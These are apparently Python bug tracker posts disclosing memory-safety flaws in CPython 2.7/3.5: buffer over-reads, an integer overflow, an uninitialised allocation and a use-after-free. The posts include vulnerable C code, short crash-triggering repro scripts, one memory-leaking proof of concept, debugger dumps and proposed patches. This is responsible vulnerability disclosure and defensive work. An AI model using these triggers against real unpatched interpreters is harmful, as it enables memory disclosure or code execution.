python!__scrt_common_main_seh+0xff [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 264] 004cfa28 76f0a064 KERNEL32!BaseThreadInitThunk+0x24 004cfa70 76f0a02f ntdll!__RtlUserThreadStart+0x2f 004cfa80 ntdll!_RtlUserThreadStart+0x1b 0:000> !analyze -v -nodb *** * * *Exception Analysis * * * *** FAULTING_IP: python35!do_richcompare+15 [c:\build\cpython\objects\object.c @ 659] 54f25a55 8b4704 mov eax,dword ptr [edi+4] EXCEPTION_RECORD: -- (.exr 0x) ExceptionAddress: 54f25a55 (python35!do_richcompare+0x0015) ExceptionCode: c005 (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: Parameter[1]: c0c0c0c4 Attempt to read from address c0c0c0c4 CONTEXT: -- (.cxr 0x0;r) eax=02a2 ebx=551160a8 ecx=c0c0c0c0 edx=07e538e0 esi=07e538e0 edi=c0c0c0c0 eip=54f25a55 esp=004cf6e4 ebp=004cf6f4 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 python35!do_richcompare+0x15: 54f25a55 8b4704 mov eax,dword ptr [edi+4] ds:002b:c0c0c0c4= FAULTING_THREAD: 4a48 DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: EXCEPTION_PARAMETER2: c0c0c0c4 READ_ADDRESS: c0c0c0c4 FOLLOWUP_IP: python35!do_richcompare+15 [c:\build\cpython\objects\object.c @ 659] 54f25a55 8b4704 mov eax,dword ptr [edi+4] NTGLOBALFLAG: 200 APPLICATION_VERIFIER_FLAGS: 0 APP: python.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre PRIMARY_PROBLEM_CLASS: INVALID_PO
[issue24917] time_strftime() Buffer Over-read
Changes by John Leitch : Added file: http://bugs.python.org/file40229/time_strftime_Buffer_Over-read.py ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
New submission from John Leitch: Python 3.5 suffers from a vulnerability caused by the behavior of the time_strftime() function. When called, the function loops over the format string provided, using strchr to search for each instance of '%'. After finding a '%', it continues to search two characters ahead, assuming that each instance is the beginning of a well formed format string token. However, if a string ends with '%', this logic will result in a call to strchr that reads off the end of the format string buffer: /* check that the format string contains only valid directives */ for(outbuf = strchr(fmt, '%'); <<<< Assuming fmt ends with a '%', this will return a pointer to the end of the string. outbuf != NULL; outbuf = strchr(outbuf+2, '%')) <<<< Once outbuf is pointing to the end of the string, outbuf+2 skips {past the null terimnator, leading to a buffer over-read. if (outbuf[1]=='#') ++outbuf; /* not documented by python, */ if ((outbuf[1] == 'y') && buf.tm_year < 0) { PyErr_SetString(PyExc_ValueError, "format %y requires year >= 1900 on Windows"); Py_DECREF(format); return NULL; } } In some applications, it may be possible to exploit this behavior to disclose the contents of adjacent memory. The buffer over-read can be observed by running the following script: from time import * strftime("AA%"*0x1) Which, depending on the arrangement of memory, may produce an exception such as this: 0:000> g (20b8.18d4): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax= ebx=52c1a6a0 ecx= edx=08ef3000 esi=08ec2fe8 edi=08ec2ff8 eip=52d254f3 esp=004cf9d4 ebp=004cfa58 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 python35!strchr+0x33: 52d254f3 f30f6f0amovdqu xmm1,xmmword ptr [edx] ds:002b:08ef3000= 0:000> db edx-0x10 08ef2ff0 41 25 41 41 25 41 41 25-00 d0 d0 d0 d0 d0 d0 d0 A%AA%AA% 08ef3000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 0:000> k5 ChildEBP RetAddr 004cf9d0 52c1a7f6 python35!strchr+0x33 [f:\dd\vctools\crt\vcruntime\src\string\i386\strchr_sse.inc @ 75] 004cfa58 52c832d3 python35!time_strftime+0x156 [c:\build\cpython\modules\timemodule.c @ 615] 004cfa74 52ce442f python35!PyCFunction_Call+0x113 [c:\build\cpython\objects\methodobject.c @ 109] 004cfaa8 52ce18ec python35!call_function+0x2ff [c:\build\cpython\python\ceval.c @ 4651] 004cfb20 52ce339f python35!PyEval_EvalFrameEx+0x232c [c:\build\cpython\python\ceval.c @ 3184] To fix this issue, it is recommended that time_strftime() be updated to check outputbuf[1] for null in the body of the format string directive validation loop. A proposed patch is attached. Credit: John Leitch (johnlei...@outlook.com), Bryce Darling (darlingbr...@gmail.com) -- files: time_strftime_Buffer_Over-read.patch keywords: patch messages: 248998 nosy: JohnLeitch priority: normal severity: normal status: open title: time_strftime() Buffer Over-read type: security versions: Python 3.5 Added file: http://bugs.python.org/file40228/time_strftime_Buffer_Over-read.patch ___ Python tracker <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24913] newblock() Uninitialized Variable
Changes by John Leitch : Added file: http://bugs.python.org/file40225/newblock_Uninitialized_variable.py ___ Python tracker <http://bugs.python.org/issue24913> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24913] newblock() Uninitialized Variable
New submission from John Leitch: Python 3.5 suffers from a vulnerability caused by the behavior of the newblock() function used by the collections.deque module. When called, newblock() allocates memory using PyMem_Malloc() and does not initialize it: static block * newblock(Py_ssize_t len) { block *b; if (len >= MAX_DEQUE_LEN) { PyErr_SetString(PyExc_OverflowError, "cannot add more blocks to the deque"); return NULL; } if (numfreeblocks) { numfreeblocks--; return freeblocks[numfreeblocks]; } b = PyMem_Malloc(sizeof(block)); <<<< Memory allocation. if (b != NULL) { return b; <<<< Buffer returned without initialization. } PyErr_NoMemory(); return NULL; } Because PyMem_Malloc does not initialize the memory, the block may contain garbage data. In some cases, this can lead to memory corruption which could be exploitable to achieve code execution. The following exception analysis is an example of EIP corruption: *** * * *Exception Analysis * * * *** *** The OS name list needs to be updated! Unknown Windows version: 10.0 *** FAULTING_IP: python35!PyUnicode_Type+0 696f60d8 a800testal,0 EXCEPTION_RECORD: -- (.exr 0x) ExceptionAddress: 696f60d8 (python35!PyUnicode_Type) ExceptionCode: c005 (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: 0008 Parameter[1]: 696f60d8 Attempt to execute non-executable address 696f60d8 CONTEXT: -- (.cxr 0x0;r) eax=696f60d8 ebx=0002 ecx=00d9492c edx=0002 esi=019b4e58 edi=0337b970 eip=696f60d8 esp=00bcf7dc ebp=00bcf7fc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 python35!PyUnicode_Type: 696f60d8 a800testal,0 PROCESS_NAME: pythonw.exe ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 0008 EXCEPTION_PARAMETER2: 696f60d8 WRITE_ADDRESS: 696f60d8 FOLLOWUP_IP: python35!PyUnicode_Type+0 696f60d8 a800testal,0 FAILED_INSTRUCTION_ADDRESS: python35!PyUnicode_Type+0 696f60d8 a800testal,0 APP: pythonw.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre FAULTING_THREAD: 09dc DEFAULT_BUCKET_ID: SOFTWARE_NX_FAULT_CODE PRIMARY_PROBLEM_CLASS: SOFTWARE_NX_FAULT_CODE BUGCHECK_STR: APPLICATION_FAULT_SOFTWARE_NX_FAULT_CODE_SOFTWARE_NX_FAULT_FALSE_POSITIVE LAST_CONTROL_TRANSFER: from 69505ad3 to 696f60d8 STACK_TEXT: 00bcf7fc 69505ad3 0002 00bcf840 694253fc python35!PyUnicode_Type 00bcf808 694253fc 0337b970 019b4e58 0002 python35!PyObject_RichCompare+0x53 00bcf840 695031c3 03a1a8f0 03a21878 00f83340 python35!deque_index+0xac 00bcf85c 69564433 03a21120 03a21878 python35!PyCFunction_Call+0x113 00bcf890 695618d8 00e23a08 0040 python35!call_function+0x303 00bcf908 6956339f 00e23a08 00f83000 python35!PyEval_EvalFrameEx+0x2318 00bcf954 6959a142 00e40f58 python35!_PyEval_EvalCodeWithName+0x82f 00bcf990 69599fd5 00e40f58 00e40f58 00bcfa5c python35!run_mod+0x42 00bcf9bc 6959904a 00f801f0 00e366f0 0101 python35!PyRun_FileExFlags+0x85 00bcfa00 6946f037 00f801f0 00e366f0 0001 python35!PyRun_SimpleFileExFlags+0x20a 00bcfa2c 6946f973 00bcfa5c 6ecb2100 python35!run_file+0xe7 00bcfad4 1ce31279 0002 00f79eb0 1ce3c588 python35!Py_Main+0x913 00bcfae4 1ce3145f 1ce3 00f71c68 pythonw!wWinMain+0x19 00bcfb30 74ed3744 7f174000 74ed3720 5c8b59d2 pythonw!__scrt_common_main_seh+0xfd 00bcfb44 775aa064 7f174000 a81800d2 kernel32!BaseThreadInitThunk+0x24 00bcfb8c 775aa02f 775cd7c3 ntdll!__RtlUserThreadStart+0x2f 00bcfb9c 1ce3150a 7f174000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: python35!PyUnicode_Type+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: python35 IMAGE_NAME: python35.dll DEBUG_FLR_IMAGE_TIMESTAMP: 5598ccc2 FAILURE_BUCKET_ID: SOFTWARE_NX_FAULT_CODE_c005_python35.dll!PyUnicode_Type BUCKET_ID: APPLICATION_FAULT_SOFTWARE_NX_FAULT_CODE_SOFTWARE_NX_FAULT_FALSE_POSITIVE_BAD_IP_python35!PyUnicode_Type+0 ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:software_nx_fault_code_c005_python35.dll!pyunicode_type FAILURE_ID_HASH:
[issue24803] PyNumber_Long Buffer Over-read.patch
John Leitch added the comment: Attaching repro. -- Added file: http://bugs.python.org/file40135/PyNumber_Long_Buffer_Over-read.py ___ Python tracker <http://bugs.python.org/issue24803> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24803] PyNumber_Long Buffer Over-read.patch
New submission from John Leitch: Python suffers from a buffer over-read in PyNumber_Long() that is caused by the incorrect assumption that buffers returned by PyObject_GetBuffer() are null-terminated. This could potentially result in the disclosure of adjacent memory. PyObject * PyNumber_Long(PyObject *o) { [...] if (PyObject_GetBuffer(o, &view, PyBUF_SIMPLE) == 0) { <<<< The unterminated buffer is retreived here. /* need to do extra error checking that PyLong_FromString() * doesn't do. In particular int('9\x005') must raise an * exception, not truncate at the null. */ PyObject *result = _PyLong_FromBytes(view.buf, view.len, 10); <<<< The buffer is then passed to _PyLong_FromBytes(), which ultimately passes it to PyLong_FromString(). PyBuffer_Release(&view); return result; } return type_error("int() argument must be a string, a bytes-like object " "or a number, not '%.200s'", o); } PyObject * PyLong_FromString(const char *str, char **pend, int base) { int sign = 1, error_if_nonzero = 0; const char *start, *orig_str = str; PyLongObject *z = NULL; PyObject *strobj; Py_ssize_t slen; [...] onError: if (pend != NULL) *pend = (char *)str; Py_XDECREF(z); slen = strlen(orig_str) < 200 ? strlen(orig_str) : 200; <<<< If this path is taken, orig_str is pointing to the unterminated string, resulting in strlen reading off the end of the buffer. strobj = PyUnicode_FromStringAndSize(orig_str, slen); <<<< The incorrect length is then used to create a Python string. if (strobj == NULL) return NULL; PyErr_Format(PyExc_ValueError, "invalid literal for int() with base %d: %.200R", base, strobj); Py_DECREF(strobj); return NULL; } A script that reproduces the issue is as follows: import array int(array.array("B",b"A"*0x10)) And it produces the following exception: 0:000> p eax= ebx=5dbc4699 ecx= edx= esi=07ad6b00 edi= eip=5da07f7e esp=00e4f8f8 ebp=00e4f934 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0246 python35!PyNumber_Long+0x20e: 5da07f7e 6a0apush0Ah 0:000> db @@(view.buf) 096fefe8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 096feff8 c0 c0 c0 c0 d0 d0 d0 d0-?? ?? ?? ?? ?? ?? ?? ?? 096ff008 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 096ff018 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 096ff028 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 096ff038 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 096ff048 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 096ff058 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 0:000> g Breakpoint 3 hit eax=07aed7b0 ebx=000a ecx=07aed7a0 edx=07aed000 esi=096fefe8 edi=096fefe8 eip=5da3a55e esp=00e4f870 ebp=00e4f8c4 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0212 python35!PyLong_FromString+0x4ce: 5da3a55e 8b74244cmov esi,dword ptr [esp+4Ch] ss:002b:00e4f8bc=096fefe8 0:000> g (648.e5c): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=07aed7d0 ebx=000a ecx=096ff000 edx=096fefe9 esi=096fefe8 edi=096fefe8 eip=5da3a567 esp=00e4f870 ebp=00e4f8c4 iopl=0 nv up ei ng nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282 python35!PyLong_FromString+0x4d7: 5da3a567 8a01mov al,byte ptr [ecx] ds:002b:096ff000=?? 0:000> db ecx-0x10 096feff0 41 41 41 41 41 41 41 41-c0 c0 c0 c0 d0 d0 d0 d0 096ff000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 096ff010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 096ff020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 096ff030 ?
[issue24802] PyFloat_FromString Buffer Over-read
John Leitch added the comment: Attaching repro -- Added file: http://bugs.python.org/file40133/PyFloat_FromString_Buffer_Over-read.py ___ Python tracker <http://bugs.python.org/issue24802> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24802] PyFloat_FromString Buffer Over-read
New submission from John Leitch: Python suffers from a buffer over-read in PyFloat_FromString() that is caused by the incorrect assumption that buffers returned by PyObject_GetBuffer() are null-terminated. This could potentially result in the disclosure of adjacent memory. PyObject * PyFloat_FromString(PyObject *v) { const char *s, *last, *end; double x; PyObject *s_buffer = NULL; Py_ssize_t len; Py_buffer view = {NULL, NULL}; PyObject *result = NULL; if (PyUnicode_Check(v)) { s_buffer = _PyUnicode_TransformDecimalAndSpaceToASCII(v); if (s_buffer == NULL) return NULL; s = PyUnicode_AsUTF8AndSize(s_buffer, &len); if (s == NULL) { Py_DECREF(s_buffer); return NULL; } } else if (PyObject_GetBuffer(v, &view, PyBUF_SIMPLE) == 0) { s = (const char *)view.buf; <<<< The unterminated buffer is retrieved here. len = view.len; } else { PyErr_Format(PyExc_TypeError, "float() argument must be a string or a number, not '%.200s'", Py_TYPE(v)->tp_name); return NULL; } last = s + len; /* strip space */ while (s < last && Py_ISSPACE(*s)) s++; while (s < last - 1 && Py_ISSPACE(last[-1])) last--; /* We don't care about overflow or underflow. If the platform * supports them, infinities and signed zeroes (on underflow) are * fine. */ x = PyOS_string_to_double(s, (char **)&end, NULL); <<<< The buffer is then passed along here. if (end != last) { PyErr_Format(PyExc_ValueError, "could not convert string to float: " "%R", v); result = NULL; } else if (x == -1.0 && PyErr_Occurred()) result = NULL; else result = PyFloat_FromDouble(x); PyBuffer_Release(&view); Py_XDECREF(s_buffer); return result; } double PyOS_string_to_double(const char *s, char **endptr, PyObject *overflow_exception) { double x, result=-1.0; char *fail_pos; errno = 0; PyFPE_START_PROTECT("PyOS_string_to_double", return -1.0) x = _PyOS_ascii_strtod(s, &fail_pos); PyFPE_END_PROTECT(x) if (errno == ENOMEM) { PyErr_NoMemory(); fail_pos = (char *)s; } else if (!endptr && (fail_pos == s || *fail_pos != '\0')) PyErr_Format(PyExc_ValueError, <<<< If any of these error paths are taken, the unterminated buffer is passed along without its length, ultimately resulting in a call to unicode_fromformat_write_cstr(). "could not convert string to float: " "%.200s", s); else if (fail_pos == s) PyErr_Format(PyExc_ValueError, "could not convert string to float: " "%.200s", s); else if (errno == ERANGE && fabs(x) >= 1.0 && overflow_exception) PyErr_Format(overflow_exception, "value too large to convert to float: " "%.200s", s); else result = x; if (endptr != NULL) *endptr = fail_pos; return result; } static int unicode_fromformat_write_cstr(_PyUnicodeWriter *writer, const char *str, Py_ssize_t width, Py_ssize_t precision) { /* UTF-8 */ Py_ssize_t length; PyObject *unicode; int res; length = strlen(str); <<<< str points to the unterminated buffer, which means strlen() my read off the end, depending on the contents of adjacent memory. if (precision != -1) length = Py_MIN(length, precision); unicode = PyUnicode_DecodeUTF8Stateful(str, length, "replace", NULL); <<<< The new, incorrect length is passed along. if (unicode == NULL) return -1; res = unicode_fromformat_write_str(writer, unicode, width, -1); Py_DECREF(unicode); return res; } A script that reproduces the issue is as follows: import array float(array.array("B",b"A"*0x10)) And it produces the following exception: 0:000> gu eax= ebx=06116b00 ecx= edx= esi=06116b0
[issue24613] array.fromstring Use After Free
John Leitch added the comment: Attached is a patch that updates array.fromstring to throw a ValueError when self is passed. It also updates the unit tests to cover this new behavior. -- Added file: http://bugs.python.org/file40023/array.fromstring-Use-After-Free.patch ___ Python tracker <http://bugs.python.org/issue24613> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24708] strop.replace Integer Overflow
John Leitch added the comment: Oops. Here's a corrected patch. -- Added file: http://bugs.python.org/file40009/strop.replace_Integer_Overflow.patch ___ Python tracker <http://bugs.python.org/issue24708> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24708] strop.replace Integer Overflow
Changes by John Leitch : Removed file: http://bugs.python.org/file40006/strop.replace_Integer_Overflow.patch ___ Python tracker <http://bugs.python.org/issue24708> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24613] array.fromstring Use After Free
John Leitch added the comment: To clarify one point, passing self to array.fromstring works as expected almost all the time in 2.7. My testing revealed anomalous behavior <1% of the time, and it was almost always non-fatal corruption of the buffer. It stands to reason that legacy code may exist that relies on similar operations, and such code would be broken by the requested change. -- ___ Python tracker <http://bugs.python.org/issue24613> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24613] array.fromstring Use After Free
John Leitch added the comment: I understand the desire for consistency and I will create such a patch when I get some slack space (hopefully tonight), but I believe it will constitute a breaking change; in 2.7, passing self to array.fromstring works as expected most of the time. -- ___ Python tracker <http://bugs.python.org/issue24613> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24708] strop.replace Integer Overflow
New submission from John Leitch: The Python strop.replace() method suffers from an integer overflow that can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The issue can be triggered by performing a large substitution that overflows the arithmetic used in mymemreplace() to calculate the size of the new string: static char * mymemreplace(const char *str, Py_ssize_t len, /* input string */ const char *pat, Py_ssize_t pat_len, /* pattern string to find */ const char *sub, Py_ssize_t sub_len, /* substitution string */ Py_ssize_t count, /* number of replacements */ Py_ssize_t *out_len) { [...] new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here. if (new_len == 0) { /* Have to allocate something for the caller to free(). */ out_s = (char *)PyMem_MALLOC(1); if (out_s == NULL) return NULL; out_s[0] = '\0'; } else { assert(new_len > 0); new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value. if (new_s == NULL) return NULL; out_s = new_s; for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value. /* find index of next instance of pattern */ offset = mymemfind(str, len, pat, pat_len); if (offset == -1) break; /* copy non matching part of input string */ memcpy(new_s, str, offset); str += offset + pat_len; len -= offset + pat_len; /* copy substitute into the output string */ new_s += offset; memcpy(new_s, sub, sub_len); new_s += sub_len; } /* copy any remaining values into output string */ if (len > 0) memcpy(new_s, str, len); } [...] } The following script demonstrates the issue: import strop strop.replace("\x75"*0xEAAA,"\x75","AA"*0x) When run under a debugger, it produces the following exception: 0:000> r eax=01e4cfd0 ebx=5708fc94 ecx=3c7a edx= esi=01e3dde8 edi=57096000 eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 MSVCR90!memcpy+0x5a: 7026ae7a f3a5rep movs dword ptr es:[edi],dword ptr [esi] 0:000> db edi-0x10 57095ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 57096000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 57096010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 57096020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 57096030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 57096040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 57096050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 57096060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 0:000> db esi 01e3dde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 01e3ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 01e3de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 01e3de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 01e3de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 01e3de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 01e3de48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 01e3de58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 0:000> k ChildEBP RetAddr 0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188] 0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139] 0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185] 0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81] 0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035] 0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684] 0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267] 0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674] 0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371] 0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358] 0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27
[issue24708] strop.replace Integer Overflow
John Leitch added the comment: Attaching repro. -- Added file: http://bugs.python.org/file40007/strop.replace_Integer_Overflow.py ___ Python tracker <http://bugs.python.org/issue24708> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24613] array.fromstring Use After Free
John Leitch added the comment: Attaching patch. -- keywords: +patch Added file: http://bugs.python.org/file39900/arraymodule.c.patch ___ Python tracker <http://bugs.python.org/issue24613> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24613] array.fromstring Use After Free
New submission from John Leitch: The Python array.fromstring() method suffers from a use after free caused by unsafe realloc use. The issue is triggered when an array is concatenated to itself via fromstring() call: static PyObject * array_fromstring(arrayobject *self, PyObject *args) { char *str; Py_ssize_t n; int itemsize = self->ob_descr->itemsize; if (!PyArg_ParseTuple(args, "s#:fromstring", &str, &n)) <<<< The str buffer is parsed from args. In cases where an array is passed to itself, self->ob_item == str. return NULL; if (n % itemsize != 0) { PyErr_SetString(PyExc_ValueError, "string length not a multiple of item size"); return NULL; } n = n / itemsize; if (n > 0) { char *item = self->ob_item; <<<< If str == self->ob_item, item == str. if ((n > PY_SSIZE_T_MAX - Py_SIZE(self)) || ((Py_SIZE(self) + n) > PY_SSIZE_T_MAX / itemsize)) { return PyErr_NoMemory(); } PyMem_RESIZE(item, char, (Py_SIZE(self) + n) * itemsize); <<<< A realloc call occurs here with item passed as the ptr argument. Because realloc sometimes calls free(), this means that item may be freed. If item was equal to str, str is now pointing to freed memory. if (item == NULL) { PyErr_NoMemory(); return NULL; } self->ob_item = item; Py_SIZE(self) += n; self->allocated = Py_SIZE(self); memcpy(item + (Py_SIZE(self) - n) * itemsize, str, itemsize*n); <<<< If str is dangling at this point, a use after free occurs here. } Py_INCREF(Py_None); return Py_None; } In most cases when this occurs, the function behaves as expected; while the dangling str pointer is technically pointing to deallocated memory, given the timing it is highly likely the memory contains the expected data. However, ocassionally, an errant allocation will occur between the realloc and memcpy, leading to unexpected contents in the str buffer. In applications that expose otherwise innocuous indirect object control of arrays as attack surface, it may be possible for an attacker to trigger the corruption of arrays. This could potentially be exploited to exfiltrate data or achieve privilege escalation, depending on subsequent operations performed using corrupted arrays. A proof-of-concept follows: import array import sys import random testNumber = 0 def dump(value): global testNumber i = 0 for x in value: y = ord(x) if (y != 0x41): end = ''.join(value[i:]).index('A' * 0x10) sys.stdout.write("%08x a[%08x]: " % (testNumber, i)) for z in value[i:i+end]: sys.stdout.write(hex(ord(z))[2:]) sys.stdout.write('\r\n') break i += 1 def copyArray(): global testNumber while True: a=array.array("c",'A'*random.randint(0x0, 0x1)) a.fromstring(a) dump(a) testNumber += 1 print "Starting..." copyArray() The script repeatedly creates randomly sized arrays filled with 0x41, then calls fromstring() and checks the array for corruption. If any is found, the relevant bytes are written to the console as hex. The output should look something like this: Starting... 0007 a[0cdc]: c8684d0b0f54c0 001d a[f84d]: b03f4f0b8be620 0027 a[119f]: 50724d0b0f54c0 004c a[0e53]: b86b4d0b0f54c0 005a a[01e1]: d8ab4609040620 0090 a[015b]: 9040620104e5f0 014d a[02d6]: 10ec620d8ab460 0153 a[00f7]: 9040620104e5f0 023c a[0186]: 50d34c0f8b65a0 0279 a[01c3]: d8ab4609040620 02ee a[0133]: 9040620104e5f0 02ff a[0154]: 9040620104e5f0 030f a[0278]: 10ec620d8ab460 0368 a[0181]: 50d34c0f8b65a0 03b2 a[005a]: d0de5f0d05e5f0 03b5 a[021c]: b854d00d3620 0431 a[01d8]: d8ab4609040620 044b a[02db]: 10ec620d8ab460 0461 a[00de]: 9040620104e5f0 04fb a[232f]: 10f74d0c0ce620 0510 a[014a]: 9040620104e5f0 In some applications, such as those that are web-based, similar circumstances may manifest that would allow for remote exploitation. To fix the issue, array_fromstring should check if self->ob_item is pointing to the same memory as str, and handle the copy accordingly. A proposed patch is attached. -- files: array.fromstring-Use-After-Free.py messages: 246621 nosy: JohnLeitch priority: normal severity: normal status: open title: array.fromstring Use After Free type: security versions: Pyt